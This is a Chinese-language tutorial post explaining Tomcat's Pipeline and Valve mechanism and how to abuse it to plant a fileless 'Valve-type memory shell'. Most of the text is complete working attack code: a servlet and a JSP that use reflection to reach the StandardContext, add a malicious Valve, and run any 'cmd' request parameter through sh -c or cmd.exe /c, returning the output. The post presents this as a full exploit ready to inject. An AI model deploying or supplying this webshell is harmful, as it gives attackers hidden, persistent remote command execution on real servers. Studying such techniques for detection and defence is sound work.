Valve 是什么
我们要学习 Valve 型内存马,就必须要先了解一下 Valve 是什么
这一段内容引用枫师傅的文章原话,因为枫师傅这段话我觉得写的非常清楚,师傅们可以学习一下
在了解 Valve 之前,我们先来简单了解一下 Tomcat 中的管道机制。 我们知道,当 Tomcat 接收到客户端请求时,首先会使用 Connector 进行解析,然后发送到 Container 进行处理。那么我们的消息又是怎么在四类子容器中层层传递,最终送到 Servlet 进行处理的呢?这里涉及到的机制就是 Tomcat 管道机制。 管道机制主要涉及到两个名词,Pipeline(管道)和 Valve(阀门)。如果我们把请求比作管道(Pipeline)中流动的水,那么阀门(Valve)就可以用来在管道中实现各种功能,如控制流速等。 因此通过管道机制,我们能按照需求,给在不同子容器中流通的请求添加各种不同的业务逻辑,并提前在不同子容器中完成相应的逻辑操作。个人理解就是管道与阀门的这种模式,我们可以通过调整阀门,来实现不同的业务。
关键点:
- Pipeline 中会有一个最基础的 Valve,这个 Valve 也被称之为 basic,它始终位于末端(最后执行),它在业务上面的表现是封装了具体的请求处理和输出响应。(因此这里有输入输出给我们直接利用)
- Pipeline 提供了
addValve
方法,可以添加新 Valve 在 basic 之前,并按照添加顺序执行。
简单理解也就是和 Filter 当中差不多,我们可以在 Filter Chain 当中任意添加 Filter;那么 Valve 也就是可以在 Pipline 当中任意添加。
下面是 Pipeline 发挥功能的原理图
在 Tomcat 中,四大组件 Engine、Host、Context 以及 Wrapper 都有其对应的 Valve 类,StandardEngineValve、StandardHostValve、StandardContextValve 以及 StandardWrapperValve,他们同时维护一个 StandardPipeline 实例。
在分析Servlet内存马的时候,有分析过前面获取HTTP请求的过程,其中有一段是从Connector到Container的过程:
// Calling the container
connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);
其中就有从Container获取Pipeline的方法:
通过container.getPipeline()
方法获取到了 Pipeline,并且能够很清楚的看到 Pipeline 里面有一个 basic;这个 basic 所属的类是 StandardEngineValve
关于 Valve 内存马的流程思考
内存马流程
Valve 可以被添加进 Pipeline 的流程之后,所以这里我们尝试实现一下。
package valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;
import javax.servlet.ServletException;
import java.io.IOException;
public class TestValve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
System.out.println("Valve 调用");
}
}
我们还需要通过 addValve()
方法把它添加进去,不然的话这个 Valve 肯定是白写的。反之一想,我们只要能把我们自己编写的恶意 Valve 添加进去,就可以造成恶意马的写入了。
先点进去 Pipeline 接口看一下,因为 Valve 是 Pipeline 的一个部分,所以我们点进去看看。
在 Pipeline 接口当中存在 addValve()
方法,顾名思义,我们可以通过这个方法把 Valve 添加进去。
IDEA已经提示了只有1个类实现了该接口,直接过去发现到了StandardPipeline类中。因此我们需要获取StandardPipeline类的对象,所以这里去找一找 StandardContext 有没有获取到 StandardPipeline 的手段。
在 StandardContext 类中搜索 pipeline,这里看到了一个比较引人注目的方法 getPipeline()
,跟进看一下。
调用了ContainerBase类的getPipeline()
方法,直接返回了Pipeline,因此下面这个语句是等价的:
StandardContext.getPipeline = StandardPipeline; // 二者等价
所以这里我们可以得到的攻击思路如下:
- 先获取 StandardContext
- 编写恶意 Valve
- 通过
StandardContext.getPipeline().addValve()
添加恶意 Valve
Valve 型内存马应该在何处被加载
我们的 Valve 是应该放到 Filter,Listener,还是 Servlet 里面?
- 这个答案是 Servlet,因为在 Servlet 内存马中的 HTTP11Processor 的加载 HTTP 请求当中,是出现了 Pipeline 的 basic 的。
- 所以我们通过 Servlet 来加载。
Valve 内存马的 PoC 编写
Java文件
这里我们需要先定义一个 doGet()
方法,因为我们是发出 GET 请求的,通过反射获取到 request 对象,然后通过request获取Context以及Pipeline对象。
Field FieldReq = req.getClass().getDeclaredField("request");
FieldReq.setAccessible(true);
Request request = (Request) FieldReq.get(req);
Pipeline pipeline = request.getContext().getPipeline();
然后构造恶意Valve对象
ValveBase valve = new ValveBase() {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = response.getWriter();
out.println(output);
out.flush();
out.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
};
最后把恶意Valve对象添加到Pipeline中
pipeline.addValve(valve);
完整EXP
package valve;
import org.apache.catalina.Pipeline;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;
@WebServlet("/shell")
public class ValveShell extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
Field FieldReq = req.getClass().getDeclaredField("request");
FieldReq.setAccessible(true);
Request request = (Request) FieldReq.get(req);
Pipeline pipeline = request.getContext().getPipeline();
ValveBase valve = new ValveBase() {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = response.getWriter();
out.println(output);
out.flush();
out.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
};
pipeline.addValve(valve);
} catch (Exception e) {
e.printStackTrace();
}
}
}
JSP文件
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%
class EvilValve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = response.getWriter();
out.println(output);
out.flush();
out.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
%>
<%
// 更简单的方法 获取StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
standardContext.getPipeline().addValve(new EvilValve());
out.println("inject success");
%>
之前 Servlet 内存马,我们是写入了一个路径,但是 Valve 型内存马可以在 Servlet 被读取的过程中就直接被恶意触发。